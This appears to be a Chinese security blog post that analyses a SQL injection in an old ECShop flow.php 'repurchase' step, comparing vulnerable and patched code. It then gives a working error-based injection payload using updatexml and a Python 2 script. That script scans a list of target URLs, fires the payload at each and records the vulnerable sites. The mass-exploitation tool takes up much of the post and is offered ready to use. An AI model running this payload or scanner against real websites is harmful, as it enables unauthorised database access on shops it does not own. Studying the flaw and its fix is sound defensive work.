关于这个漏洞是新版本修复了。下载了古老的版本对比才发现的。只是怎么也没有想到ecshop也会犯这种低级的错误。
好吧,文件flow.php

elseif ($_REQUEST['step'] == 'repurchase') {     include_once('includes/cls_json.php');     $order_id = strip_tags($_POST['order_id']);     $order_id = json_str_iconv($order_id);     $user_id = $_SESSION['user_id'];     $json  = new JSON;     $order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id);     if (!$order) {         $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);         die($json->encode($result));     }      $db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE);     $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id);     $result = array('error' => 0, 'message' => '');     foreach ($order_goods as $goods) {         $spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']);         if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) {             $result = false;             $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);         }     }     die($json->encode($result)); }

这里的参数并非是新版的$order_id = intval($_POST['order_id']);

elseif ($_REQUEST['step'] == 'repurchase') {     include_once('includes/cls_json.php');     $order_id = intval($_POST['order_id']);     $order_id = json_str_iconv($order_id);     $user_id = $_SESSION['user_id'];     $json  = new JSON;     $order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id);     if (!$order) {         $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);         die($json->encode($result));     }      $db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE);     $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id);     $result = array('error' => 0, 'message' => '');     foreach ($order_goods as $goods) {         $spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']);         if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) {             $result = false;             $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);         }     }     die($json->encode($result)); }

继续查看json_str_iconv

function json_str_iconv($str) {     if (EC_CHARSET != 'utf-8')     {         if (is_string($str))         {             return addslashes(stripslashes(ecs_iconv('utf-8', EC_CHARSET, $str)));         }         elseif (is_array($str))         {             foreach ($str as $key => $value)             {                 $str[$key] = json_str_iconv($value);             }             return $str;         }         elseif (is_object($str))         {             foreach ($str as $key => $value)             {                 $str->$key = json_str_iconv($value);             }             return $str;         }         else         {             return $str;         }     }     return $str; }

这里显然没过滤了 再看看上面的SQL语句 居然没有单引号包含 这样就能直接注射了
POST提交一下内容到 http://localhost/flow.php?step=repurchase

order_id=1 or updatexml(1,concat(0x7e,(user())),0) or 11#

一个post包

附上野生payload一枚

import requests as req import optparse  def poc(url):     xode='MySQL server error report:Array'     url=url+'/flow.php'     try:         rgg=req.get(url)              except:         return '[-]Getting '+url+' Wrong'              if rgg.status_code !=200:          return '[-]'+url+' Wrong'        geturl=url+'?step=repurchase'     payload='order_id=1 or updatexml(1,concat(0x7e,(user())),0) or 11#'     a=req.post(geturl,data=payload)        if a.status_code==200:             if xode in a.text:             return 2         else:                        return '[-]'+url+'Exploiting Fail'                  else:         return '[-]'+url+' Fail!!'  def ifhttp(url):     if 'http://' in url:         return url     else:         return 'http://'+url def r(filename):     try:         ff= open(filename).readlines()     except:         print'[-] The file is not exist'         exit(0)     return ff def w(url):     f=open('Res.txt','a+')     f.write(url+'/n')     f.close if __name__=='__main__':     parser = optparse.OptionParser('usage%prog -u <url> -r <file>')     parser.add_option('-u', dest='url', type='string', help='the website')     parser.add_option('-r', dest='file', type='string', help='the file')      (options, args) = parser.parse_args()     url = options.url          f=options.file     if options.url == None and f==None:         print(parser.usage)         exit(0)     if options.url!=None:         url=ifhttp(url)         r=poc(url)         if r==2:             print '[+]'+url+' succeed'             w(url)         else:             print r     if f!=None:          for fff in r(f):              b=fff.strip('/n')              r=poc(ifhttp(b))              if r==2:                 print '[+]'+b+' succeed'                 w(b)                            else:                                print r
